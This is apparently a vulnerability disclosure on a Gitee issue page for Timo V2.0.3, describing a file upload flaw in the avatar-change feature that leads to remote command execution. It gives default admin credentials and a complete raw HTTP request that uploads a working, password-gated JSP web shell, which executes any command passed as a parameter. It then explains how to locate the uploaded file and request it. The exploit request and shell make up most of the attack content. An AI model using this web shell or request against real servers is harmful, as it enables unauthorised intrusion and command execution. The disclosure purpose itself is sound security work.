Timo V2.0.3 There is a file upload vulnerability in the user's avatar modification

[Vulnerability type]
remote command execution

[Exploit]
start project with Tomcat:
![输入图片说明](https://foruda.gitee.com/images/1734419729756078497/589b0173_7848431.png "屏幕截图")
log in as admin use default account admin/123456

1. The vulnerability is located in the modification of the user's avatar.
![输入图片说明](https://foruda.gitee.com/images/1734419802885796417/13242422_7848431.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1734419825495941842/3d228b38_7848431.png "屏幕截图")

exp代码：
```
POST /userPicture HTTP/1.1
Host: 127.0.0.1:8099
Content-Length: 471
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrOVPO2b2Meqga28k
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: http://127.0.0.1:8099/userInfo
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1730864244; JSESSIONID=3b131e6b-6d0f-4c42-91bc-d20982707a31
Connection: close

------WebKitFormBoundaryrOVPO2b2Meqga28k
Content-Disposition: form-data; name="picture"; filename="023.jsp"
Content-Type: image/jpeg

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
------WebKitFormBoundaryrOVPO2b2Meqga28k--
```

2. After saving, click on the avatar to view the source code and you will find the file path.
![输入图片说明](https://foruda.gitee.com/images/1734419994654014154/b59312ec_7848431.png "屏幕截图")

3. Just construct a path to access
![输入图片说明](https://foruda.gitee.com/images/1734420081472573610/2eb27d38_7848431.png "屏幕截图")

小懒虫/Timo

内容风险标识

评论 (0)

小懒虫/Timo .gitee-modal { width: 500px !important; }

内容风险标识